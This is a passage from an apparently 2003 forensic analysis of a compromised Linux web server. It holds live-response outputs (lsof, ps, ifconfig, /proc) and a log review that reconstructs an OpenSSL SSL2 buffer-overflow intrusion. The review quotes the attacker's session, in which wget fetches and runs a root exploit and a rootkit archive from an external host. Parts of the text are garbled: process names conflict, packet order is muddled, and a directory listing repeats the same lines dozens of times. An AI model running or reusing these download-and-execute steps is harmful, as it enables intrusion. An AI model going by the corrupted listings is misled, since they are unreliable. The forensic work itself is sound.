httpd 19376 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19376 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19376 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19376 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19376 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19376 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19376 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 19376 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 19376 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19376 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19376 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19376 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19376 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19376 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19376 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19376 root mem REG 3,2 92407 440046
/usr/kerberos/lib/libgssapi_krb5.so.2.2

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>PID</th>
<th>Size/Offset</th>
<th>Flags</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,5</td>
<td>11774</td>
<td>63541 /lib/telnetd-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,2</td>
<td>122952</td>
<td>229529 /usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,2</td>
<td>210094</td>
<td>229531 /usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,2</td>
<td>1453190</td>
<td>425001 /usr/lib/phpd/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,2</td>
<td>8621</td>
<td>440043 /usr/lib/kerberos/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,2</td>
<td>20666</td>
<td>114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19376</td>
<td>REG 3,2</td>
<td>29</td>
<td>130312</td>
</tr>
</tbody>
</table>

```
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
```
httpd 19376 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19376 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
minilogd 19365 root cwd DIR 3,5 1024 2 / 
minilogd 19365 root rtd DIR 3,5 1024 2 / 
minilogd 19365 root txt REG 3,5 8896 71809 /sbin/minilogd 
minilogd 19365 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so 
minilogd 19365 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so 
minilogd 19365 root 0u CHR 1,3 9637 /dev/null 
minilogd 19365 root 1u CHR 1,3 9637 /dev/null 
minilogd 19365 root 2u CHR 1,3 9637 /dev/null 
minilogd 19365 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem 
minilogd 19365 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem 
(mined)
minilogd 19365 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem 
minilogd 19365 root 6u sock 0,0 0 550563 can't identify protocol 
minilogd 19365 root 7u CHR 1,3 9637 /dev/null 
minilogd 19365 root 8u unix Oxc1f80540 551280 /dev/log 
minilogd 19365 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log 
minilogd 19365 root 16u IPv4 361623 TCP :https (LISTEN) 
minilogd 19365 root 17u IPv4 361624 TCP :http (LISTEN) 
weit 19678 root cwd DIR 3,5 2048 40961 /bin 
weit 19678 root rtd DIR 3,5 1024 2 / 
weit 19678 root txt REG 3,2 20914 34503 /usr/bin/weit 
weit 19678 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so 
weit 19678 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so 
weit 19678 root 0u sock 0,0 0 550563 can't identify protocol 
weit 19678 root 1u sock 0,0 0 550563 can't identify protocol 
weit 19678 root 2u sock 0,0 0 550563 can't identify protocol 
weit 19678 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem 
weit 19678 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem 
(deleted)
weit 19678 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem 
weit 19678 root 6u sock 0,0 0 550563 can't identify protocol 
weit 19678 root 7r DIR 3,5 1024 55345 /x/weit 
weit 19678 root 8r DIR 3,5 1024 2 / 
weit 19678 root txt REG 3,5 36415 55345 /x/weit 
popauth 19685 root cwd DIR 3,5 1024 55343 /x/popauth 
popauth 19685 root rtd DIR 3,5 1024 2 / 
popauth 19685 root txt REG 3,5 36415 55345 /x/popauth 
popauth 19685 root 0u sock 0,0 0 550563 can't identify protocol 
popauth 19685 root 1w CHR 1,3 9637 /dev/null 
popauth 19685 root 2w CHR 1,3 9637 /dev/null 
popauth 19685 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem 
popauth 19685 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem 
(deleted)
popauth 19685 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem 
popauth 19685 root 6u sock 0,0 0 550563 can't identify protocol 
popenauth 19685 root 7r FIFO 0,5 551501 pipe 
popenauth 19685 root 7r FIFO 0,5 551501 pipe 
popenauth 19685 root 8w sock 0,0 0 551501 pipe 
popenauth 19685 root 9w sock 0,0 0 551501 pipe 
popenauth 19685 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log 
popenauth 19685 root 16u IPv4 361623 TCP :https (LISTEN) 
popenauth 19685 root 17u IPv4 361624 TCP :http (LISTEN) 
popenauth 19685 root 18w REG 3,6 265 44201 /var/log/httpd/access_log 
popenauth 19685 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log 
chmod 19796 root cwd DIR 3,5 2048 40961 /bin 
chmod 19796 root rtd DIR 3,5 1024 2 / 
chmod 19796 root txt REG 3,5 30102 40961 /bin/chmod 
chmod 19796 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so 
chmod 19796 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so 
chmod 19796 root 0u sock 0,0 0 550563 can't identify protocol 
chmod 19796 root 1u sock 0,0 0 550563 can't identify protocol 
chmod 19796 root 2u sock 0,0 0 550563 can't identify protocol 
chmod 19796 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
chmod 19796 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
chmod 19796 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
chmod 19796 root 6u sock 0,0 550563 can't identify protocol
chmod 19796 root 7r DIR 3,5 1024 20563 /tmp/.s/nfsd
chmod 19796 root 8r DIR 3,5 2048 40961 /bin
chmod 19796 root 9u REG 3,5 0 15635 /dev/hdx1
chmod 19796 root 10u sock 0,0 552454 can't identify protocol
chmod 19796 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
chmod 19796 root 16u IPv4 361623 TCP *:https (LISTEN)
chmod 19796 root 17u IPv4 361624 TCP *:http (LISTEN)
chmod 19796 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
chmod 19810 root cwd DIR 3,5 2048 40961 /bin
chmod 19810 root rtd DIR 3,5 1024 2/
chmod 19810 root txt REG 3,2 242909 133050 /usr/sbin/nfsd
chmod 19810 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
chmod 19810 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
chmod 19810 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
chmod 19810 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
chmod 19810 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod 19810 root 0u sock 0,0 550563 can't identify protocol
chmod 19810 root 1u sock 0,0 550563 can't identify protocol
chmod 19810 root 2u sock 0,0 550563 can't identify protocol
chmod 19810 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
chmod 19810 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
chmod 19810 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
chmod 19810 root 6u sock 0,0 550563 can't identify protocol
chmod 19810 root 7r DIR 3,5 1024 20563 /tmp/.s/nfsd
chmod 19810 root 8r DIR 3,5 2048 40961 /bin
chmod 19810 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
chmod 19810 root 17u IPv4 361624 TCP *:http (LISTEN)
chmod 19810 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
chmod 19811 root cwd DIR 3,5 1024 2/
chmod 19811 root rtd DIR 3,5 1024 2/
chmod 19811 root txt REG 3,2 242909 133050 /usr/sbin/nfsd
chmod 19811 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
chmod 19811 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
chmod 19811 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
chmod 19811 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
chmod 19811 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod 19811 root 0u sock 0,0 550563 can't identify protocol
chmod 19811 root 1u sock 0,0 550563 can't identify protocol
chmod 19811 root 2u sock 0,0 550563 can't identify protocol
chmod 19811 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
chmod 19811 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
chmod 19811 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
chmod 19811 root 6u sock 0,0 550563 can't identify protocol
chmod 19811 root 7r DIR 3,5 1024 20563 /tmp/.s/nfsd
chmod 19811 root 8r DIR 3,5 2048 40961 /bin
chmod 19811 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
chmod 19811 root 17u IPv4 361624 TCP *:http (LISTEN)
chmod 19811 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
chmod 19811 root 19w REG 3,5 0 44198 /var/log/httpd/ssl_request_log

ps.txt

USER    PID  %CPU  %MEM   VSZ   RSS   TTY STAT  START   TIME COMMAND
root    1    0.0    0.3  1368   432 ?    S Jun23  0:05 init
root    2    0.0    0.0    0    0 ?    S Jun23  0:00 [keventd]
root    3    0.0    0.0    0    0 ?    S Jun23  0:00 [kapmd]
root    4    0.0    0.0    0    0 ?    S Jun23  0:00 [ksoftirqd_CPU0]
root    5    0.0    0.0    0    0 ?    S Jun23  0:03 [kswapd]
root    6    0.0    0.0    0    0 ?    S Jun23  0:00 [bdflush]
root    7    0.0    0.0    0    0 ?    S Jun23  0:00 [kudupdate]
root    8    0.0    0.0    0    0 ?    S Jun23  0:00 [mdrecoveryd]
root    9    0.0    0.0    0    0 ?    S Jun23  0:00 [kjournald]
root   11    0.0    0.0    0    0 ?    S Jun23  0:00 [khubd]
root   12    0.0    0.0    0    0 ?    S Jun23  0:00 [kjournald]
root   13    0.0    0.0    0    0 ?    S Jun23  0:00 [kjournald]
root   14    0.0    0.0    0    0 ?    S Jun23  0:00 [kjournald]
root   15    0.0    0.0    0    0 ?    S Jun23  0:00 [kjournald]
root   16    0.0    0.0    0    0 ?    S Jun23  0:00 [kjournald]
rpcuser  657   0.0   0.4  1556   600 ?    S Jun23  0:00 rpc.statd
root   770   0.0   0.3  1360  412 ?    S Jun23  0:00 /usr/sbin/apmd -p 10 -w 5 -W -P
/etc/sysconfig/apm-scripts/apmscript
ntpd    790   0.0   1.4  1884  1876 ?    S Jun23  0:01 ntpd -U ntpd -q
root   842   0.0   0.4  2620  572 ?    S Jun23  0:01 /usr/sbin/sshd
root   875   0.0   0.4  2196  560 ?    S Jun23  0:00 xinetd -stayalive -reuse -pidfile
/var/run/xinetd.pid
root   916   0.0   0.7  4600  892 ?    S Jun23  0:00 sendmail: accepting connections
lsmod.txt

Module Size Used by Not tainted
nls_iso8859-1 3488 1 (autoclean)
iptables_filter 2752 0 (autoclean) (unused)
ip_tables
soundcore 6692 0 (autoclean)
autos 12164 0 (autoclean) (unused)
eepro100 20336 1
ide-cd 30272 1 (autoclean)
cdrom 32192 0 (autoclean) [ide-cd]
usb-uhci 24484 0 (unused)
usbc core 73152 1 [usb-uhci]
ext3 67136 5
jbd 49400 5 [ext3]

Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS</th>
<th>Window</th>
<th>Irtt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

ifconfig.txt

eth0 Link encap:Ethernet HWaddr 00:50:8B:0D:50:56
inet addr:192.168.2.15 Bcast:192.168.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:56788 errors:0 dropped:0 overruns:0 frame:1
TX packets:94732 errors:0 dropped:0 overruns:0 carrier:0
collisions:3023 txqueuelen:100
RX bytes:11574349 (11.0 Mb) TX bytes:15015679 (14.3 Mb)
Interrupt:11 Base address:0x1000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:353 errors:0 dropped:0 overruns:0 frame:0
TX packets:353 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:44009 (42.9 Kb) TX bytes:44009 (42.9 Kb)

Proc-filesystem.txt

total 1
dr-xr-xr-x 130 root root 0 Jun 23 05:58 .
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1
dr-xr-xr-x 3 xfs xfs 0 Jun 30 17:29 1005
dr-xr-xr-x 3 daemon daemon 0 Jun 30 17:29 1041
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1050
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1051
Kevin Miller - Sans GCFA Assignment – v1.4

- r--r--r-- 1 root root 0 Jun 30 17:29 pci
lrwxrwxrwx 1 root root 64 Jun 30 16:44 self -> 29222
- r--r--r-- 1 root root 0 Jun 30 17:29 slabinfo
- r--r--r-- 1 root root 0 Jun 30 17:29 stat
- r--r--r-- 1 root root 0 Jun 30 17:29 swaps
dr-xr-xr-x 10 root root 0 Jun 30 17:29 sys
dr-xr-xr-x 2 root root 0 Jun 30 17:29 sysvipc
dr-xr-xr-x 4 root root 0 Jun 30 17:29 tty
- r--r--r-- 1 root root 0 Jun 30 17:29 uptime
- r--r--r-- 1 root root 0 Jun 30 17:29 version

stoptime.txt

Mon Jun 30 17:31:02 CST 2003

**Live-response-june30.md5**

df2abab55743c9e230e36930ea38bbbab *ifconfig.txt
5fa0917f700a220d79c126cad2de36f4 *lsmod.txt
232cb0b32469842e965b877a0ddec06a *lsf.txt
6c1fc3e61d32283a0685464230cddf6b *netstat-routes.txt
662e13363bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca8c1c82323dcf576c8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902fcdbaa7 *starttime.txt
4987992ca38fbc2130a01f4ba5bffc84 *stoptime.txt
5e344d4b030b44f1bccc4b415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM. Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. `dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync`
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

```
Jun 29 15:50:35 192.168.1.1 id=firewall time="2003-06-29 15:50:35"
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 tcp src=192.168.2.15 srcport=1274 dst=XXX.XXX.42.58
dstport=251 interface=sis2 flags=0x2
```

Tcpdump from snort host;

```
15:42:10.704332 192.168.2.15.1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)
```

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:
- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

```
Mon Jun 30 17:18:51 CST 2003
```

Sebek log event for recording starttime for live response;

```
23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mcnc 192.168.2.120 1111
```

The command `snort -r tcpdump.log.1056855401 > tcpdump.out` was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

```
06/30-17:10:23.402854 192.168.2.15:4135 192.168.2.120:1111
TCP TTL:64 TOS:0x0 ID:54820 IpLen:20 DgmLen:81 DF
***AD*** Seq: 0xBADFED14 Ack: 0x1C1A03BD7 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 62409666 28142280
4D 6F 6E 20 4A 75 6E 20 33 30 20 31 37 3A 31 38 Mon Jun 30 17:18
3A 35 31 20 43 53 54 20 33 30 30 30 30 30 30 0A :51 CST 2003.
```

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

```
#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
```
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision’s Broadband service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process,” signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX 108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.
14:47:43.776380 XXX.XXX.108.64.55526 > 192.168.2.15.80: F 19:19(0) ack 678 win 6760 <nop,nop,timestamp 52965051 5846797> (DF)
14:47:43.776958 192.168.2.15.80 > XXX.XXX.108.64.55526: S 1761271161:1761271161(0) win 5840 <nop,nop,timestamp 5796734 52914968> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <mss 1460,sackOK,timestamp 5795610 52913844> (DF)
14:47:44.068010 XXX.XXX.108.64.55526 > 192.168.2.15.443: . ack 1 win 5840 <nop,nop,timestamp 5795391 52965051> (DF)
14:47:44.068010 192.168.2.15.443 > XXX.XXX.108.64.55526: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:45.017396 192.168.2.15.443 > XXX.XXX.108.64.55526: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 5291498 5796705> (DF)
14:47:53.05540 XXX.XXX.108.64.55526 > 192.168.2.15.443: . ack 2 win 5840 <nop,nop,timestamp 5796734 52914968> (DF)
```

```
IP XXX.XXX 108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.
14:56:15.562951 192.168.2.15.80 > XXX.XXX.108.64.34919: P 1:677(676) ack 19 win 5792 <nop,nop,timestamp 52965051 5846797> (DF)
14:56:15.562951 192.168.2.15.80 > XXX.XXX.108.64.34919: S 2304545355:2304545355(0) ack 2334418902 win 5792 <mss 1460,sackOK,timestamp 52965022 5846769> (DF)
```

17 “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”, (www.kb.cert.org/vuls/id/102795), www.securityfocus.com/bin/5363
Using Tcpflow we see the request send from XXX.XXX.108.064.34919-192.168.002.015.00080
GET / HTTP/1.1

The response sent from 192.168.002.015.00080-XXX.XXX.108.064.34919
HTTP/1.1 400 Bad Request
Date: Sat, 29 Jun 2003 21:06:18 GMT
Server: Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

18d

The tcpdump binary log was parsed through tcpflow with the syntax

```
tcpflow -r tcpdump.log.1056866401 'port 34919'
```

The output was two files “ XXX.XXX.108.64.34919-192.168.002.015.00080” and “192.168.002.015.00080-XXX.XXX.108.064.34919”. The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named “r” is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r; chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'. Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
 0K .......... .........
100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```
```
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16--  http://XXX.XXX.com/eladoht/s.tar.gz
        => 's.tar.gz'

15:11:18  (195.87 KB/s) - 's.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz;rm -rf s.tar.gz;
  .s/
  .s/du
  .s/find
  .s/killall
  .s/linsniffer
  .s/ls
  .s/netstat
  .s/ps
  .s/pstree
  .s/vdir
  .s/top
  .s/1addr
  .s/1file
  .s/1logz
  .s/1proc
  .s/clean
  .s/nfsd/
  .s/nfsd/nfsd_config
  .s/nfsd/xxh_h
  .s/nfsd/xxh_r
  .s/nfsd/nfsdi
  .s/sshd/
  .s/sshd/init.sshd
  .s/sshd/ssh_host_key
  .s/sshd/sshd-install
  .s/sshd/sshd_config
  .s/install
  .s/sense
  .s/p.sshd
ls -al
  total 39
  ...
  drwxr-xr-x 4 502 502 1024 Mar 24 21:41 .s
  ...
```

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the rootkit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.15.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix after the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.

```
dir -al

```
```text
 total 64
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr--r-- 1 root root  11 Jun 23 12:00 .X0-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
-rwxrwxrwt 2 root root 1024 Jun 23 12:00 .font
-rwxrwxrwt 2 root root 1024 Jun 23 12:00 .IC
-rw------- 1 root root 1024 Jun 23 12:00 .ICE
-rwxr--r-- 1 root root  1 Jun 23 12:00 .IC
-rwxr--r-- 1 root root  1 Jun 23 12:00 .ICE
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .Xftcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
